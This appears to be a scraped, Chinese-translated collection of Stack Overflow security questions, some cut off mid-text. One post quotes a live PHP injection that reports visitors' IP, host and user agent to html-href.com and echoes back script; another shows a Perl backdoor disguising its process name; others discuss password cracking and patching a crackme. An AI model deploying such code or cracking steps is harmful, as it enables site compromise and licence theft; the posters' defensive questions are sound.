我是一名非常注重安全性的Web开发人员,并尝试使我的Web应用程序尽可能安全.
我怎么开始在C#中编写自己的Windows应用程序,当它测试我的C#应用程序的安全性时,我真的只是一个新手.
只是想知道是否有人有关于如何破解自己的Windows应用程序和编写安全代码的任何好的教程/自述文件.
有一个不错的网站http://www.howsecureismypassword.net/,它决定了破解密码需要多长时间.
我想要的是实现这样的功能,所以我需要一个算法
最近我参与的一个网站被黑客攻击,未经授权的代码被放置在许多页面上.我只是想知道是否有人可以了解这个代码到底是做什么的,以及将它放在这些页面上的用户会有什么好处.
<?php
#31e3cd#
error_reporting(0); ini_set('display_errors',0); $wp_okpbo35639 = @$_SERVER['HTTP_USER_AGENT'];
if (( preg_match ('/Gecko|MSIE/i', $wp_okpbo35639) && !preg_match ('/bot/i', $wp_okpbo35639))){
$wp_okpbo0935639="http://"."html"."-href".".com/href"."/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_okpbo35639);
$ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_okpbo0935639);
curl_setopt ($ch, CURLOPT_TIMEOUT, 6); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $wp_35639okpbo = curl_exec ($ch); curl_close($ch);}
if ( substr($wp_35639okpbo,1,3) === 'scr' ){ echo $wp_35639okpbo; }
#/31e3cd#
?>
Run Code Online (Sandbox Code Playgroud)
上面是代码,因为它出现在页面上.我玩过这个代码,它似乎使用以下方式获取用户信息:
$_SERVER['HTTP_USER_AGENT']
Run Code Online (Sandbox Code Playgroud)
然后将其组合成类似于下面的URL,但将上面的用户信息添加到URL
http://html-href.com/href/?ip=::1&referer=localhost&ua=
Run Code Online (Sandbox Code Playgroud)
我知道curl用于数据传输,但这些信息到底发送的具体目的是什么?
我有一个免费下载Android应用程序,它附带应用程序内购买项目(非消耗品)
最近,我发现几个黑市都带有我的Android应用程序,所有应用内购买项目都可以自由访问.
我在想,这些饼干是怎么做到的?这就是我在我身边所做的.
onCreate会触发updateIsPremium.代码如下
private void updateIsPremium() {
if (mHelper != null) {
return;
}
/* base64EncodedPublicKey should be YOUR APPLICATION'S PUBLIC KEY
* (that you got from the Google Play developer console). This is not your
* developer public key, it's the *app-specific* public key.
*
* Instead of just storing the entire literal string here embedded in the
* program, construct the key at runtime from pieces or
* use bit manipulation …Run Code Online (Sandbox Code Playgroud) 我正在使用John the Ripper在我的工作中破解passwd文件的副本.我想提醒密码较弱的用户.我碰巧知道许多帐户都有默认密码,这个密码对每个用户都不同,但与特定模式匹配.
假设这是默认密码格式:
'[2nd and 3rd characters in username]cc\d\d\l\l'
Run Code Online (Sandbox Code Playgroud)
其中c是常量(每个密码都相同),\d是一个数字(0-9)并且\l是一个小写字母.
我如何在john.conf中编写一个自定义规则,在尝试其他任何东西之前检查所有符合此格式的组合的哈希?我试图弄清楚自己,但我找不到任何好的文档.
我想确保我的网站免受黑客攻击,我认为最好的测试方法是尝试自己破解我的网站.黑客会尝试和破解我的网站做些什么?
例如,
测试 - 他们可能会将javascript放在输入字段中,例如,
<“open javascript tag">window.location = “www.somewhereelse.com”;<“end javascript tag”>
保护 - 在显示数据之前使用php htmlentities功能.
我还可以测试哪些其他内容以确保我的网站安全?
我们在周末侵入了我们的服务器,我正试图追踪入侵者的踪迹.它们似乎运行了一个perl脚本,导致一个名为init100%运行的www数据进程.不幸的是我没有perl专业知识,所以我不知道这是做什么的:
6 my $processo =("atd","sendmail: accepting connections","rpc.idmapd","syslogd -m 0","/sbin/udevd -d","/sbin/init");
# ...
24 use IO::Socket;
25 use Socket;
26 use IO::Select;
27 chdir("/tmp");
28 $servidor="$ARGV[0]" if $ARGV[0];
29 $0="$processo"."\0"x16;;
30 my $pid=fork;
31 exit if $pid;
Run Code Online (Sandbox Code Playgroud)
在我看来,第29行的指令旨在以某种方式隐藏过程.它究竟做了什么?
我想知道是否有办法用OllyDebug破解C#Windows应用程序.我用Visual C#2010 Express编写了一个简单的CrackMe应用程序.当我用OllyDebug打开它并根据需要修改ASM代码时,OllyDebug中没有"复制到可执行文件"选项,因为我的注册表单窗口是用"new"运算符动态分配的(我相信,VirtualAlloc()函数调用在调试器中).虽然我能够修改ASM代码(这只是NOP的JE跳转),但我无法用破解的代码保存我的.exe文件,看起来像OllyDbg"看到"数据段中的代码,当时该代码不存在应用程序启动并且仅动态分配.任何人都可以帮我解决这个问题吗?我认为至少有两种方法可以修改*.exe:
1)使用OllyDbg深入挖掘代码并在分配之前找到保存实际代码的位置(因为RegistrationForm的新实例不会神奇地超出空间,是吗?)
2)如果它允许在VS Express中快速创建应用程序并且不需要太多复杂的代码,则使用静态调用,因此每次单击"Register"时都会显示相同的RegistrationForm窗口(它将保存在应用程序的代码部分中,因此将在OllyDbg中修改.
可以指出如何重写代码并保持简单分配RegistrationForm(singleton?)的相同实例.我唯一需要的是破解并保存*.exe,重新启动并填写任何数据以"完成注册".
以下是使用Main()方法的MyCrackMe类的代码:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace MyCrackMe {
class MyCrackMe {
public static void Main() {
MyForm mainWindow = new MyForm();
System.Windows.Forms.Application.Run(mainWindow);
}
}
}
Run Code Online (Sandbox Code Playgroud)
主窗口类:
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
namespace MyCrackMe {
public partial class MyForm : Form {
public MyForm() {
InitializeComponent();
}
private void exitToolStripMenuItem_Click(object sender, EventArgs e) {
Application.Exit();
}
private void aboutToolStripMenuItem_Click(object …Run Code Online (Sandbox Code Playgroud) 我正在使用cocoafob进行许可.不幸的是,我的应用程序在每次发布后都会很快破解.有没有办法让这更难一点?
我们每天开始收到多个此类错误,出现在事件日志中:
无效的JSON原语:alihack.在System.Web.Script.Serialization.JavaScriptObjectDeserializer.DeserializePrimitiveObject()在System.Web.Script.Serialization.JavaScriptObjectDeserializer.DeserializeInternal(深度Int)在System.Web.Script.Serialization.JavaScriptObjectDeserializer.BasicDeserialize(字符串输入,的Int32 depthLimit,JavaScriptSerializer串行化器)在System.Web.Script.Serialization.JavaScriptSerializer.Deserialize(JavaScriptSerializer串行器,字符串输入,类型类型,的Int32 depthLimit)在System.Web.Mvc.JsonValueProviderFactory.GetDeserializedObject(controllerContext controllerContext)在System.Web.Mvc.JsonValueProviderFactory. System.Web.Mvc.ValueProviderFactoryCollection.GetValueProvider(ControllerContext controllerContext)中的System.Web.Mvc.ControllerBase.get_ValueProvider()处的System.Web.Mvc.ControllerActionInvoker.GetParameterValue(ControllerContext controllerContext,ParameterDescriptor parameterDescriptor)中的GetValueProvider(ControllerContext controllerContext) .Web.Mvc.Controlle System.Web.Mvc.Async.AsyncResultWrapper.WrappedAsyncResult的System.Web.Mvc.Async.AsyncControllerActionInvoker.<> c__DisplayClass21.b__19(AsyncCallback asyncCallback,Object asyncState)中的rActionInvoker.GetParameterValues(ControllerContext controllerContext,ActionDescriptor actionDescriptor)
1.CallBeginDelegate(AsyncCallback callback, Object callbackState) at System.Web.Mvc.Async.AsyncResultWrapper.WrappedAsyncResultBase1.Begin(AsyncCallback)回调,对象的状态,的Int32超时)在System.Web.Mvc.Async.AsyncControllerActionInvoker.BeginInvokeAction(ControllerContext controllerContext,字符串actionName,AsyncCallback的回调,对象状态)在System.Web.Mvc.Controller.b__1c(的AsyncCallback的AsyncCallback,对象asyncState, System.Web处的System.Web.Mvc.Controller.BeginExecuteCore1.CallBeginDelegate(AsyncCallback callback, Object callbackState) at System.Web.Mvc.Async.AsyncResultWrapper.WrappedAsyncResultBase(AsyncCallback回调,对象状态)的System.Web.Mvc.Async.AsyncResultWrapper.WrappedAsyncVoid 1.Begin(AsyncCallback回调,对象状态,Int32超时)中的ExecuteCoreState innerState). System.Web.Mvc.Async.AsyncResultWrapper.WrappedAsy上的Mvc.Controller.b__14(AsyncCallback asyncCallback,Object callbackState,Controller controller)1.CallBeginDelegate(AsyncCallback callback, Object callbackState) at System.Web.Mvc.Async.AsyncResultWrapper.WrappedAsyncResultBaseSystem.Web.Mvc.Controller.System.Web.Mvc.Async上的System.Web.Mvc.Controller.BeginExecute(RequestContext requestContext,AsyncCallback callback,Object state)中的ncVoid 1.Begin(AsyncCallback回调,对象状态,Int32超时) System.Web.Mvc.Async.AsyncResultWrapper.WrappedAsyncVoid上的System.Web.Mvc.MvcHandler.b__4(AsyncCallback asyncCallback,Object asyncState,ProcessRequestState innerState)中的1.CallBeginDelegate(AsyncCallback callback, Object callbackState) at System.Web.Mvc.Async.AsyncResultWrapper.WrappedAsyncResultBase.IAsyncController.BeginExecute(RequestContext requestContext,AsyncCallback callback,Object state)1.Begin(的AsyncCallback回调,对象的状态,的Int32超时)在System.Web.Mvc.MvcHandler.BeginProcessRequest(HttpContextBase HttpContext的,AsyncCallback的回调,对象状态)在System.Web.Mvc.MvcHandler.BeginProcessRequest(HttpContext的HttpContext的,AsyncCallback的回调,对象状态)在Orchard.Mvc.Routes.ShellRoute.HttpAsyncHandler.BeginProcessRequest(Http)中的System.Web.Mvc.MvcHandler.System.Web.IHttpAsyncHandler.BeginProcessRequest(HttpContext上下文,AsyncCallback cb,Object extraData)上下文语境,AsyncCallback的CB,而额外的对象)在System.Web.HttpApplication.CallHandlerExecutionStep.System.Web.HttpApplication.IExecutionStep.Execute()在System.Web.HttpApplication.ExecuteStep(IExecutionStep步骤,布尔逻辑completedSynchronously)
请求转到http://example.com/ali.txt.请求的有效负载中应该有其他内容,因为只需正确打开此URL就会生成404.
这有什么值得担心的吗?我可以,我应该防止这样的错误发生,而是返回一个错误的请求,例如?为什么这种反序列化首先发生?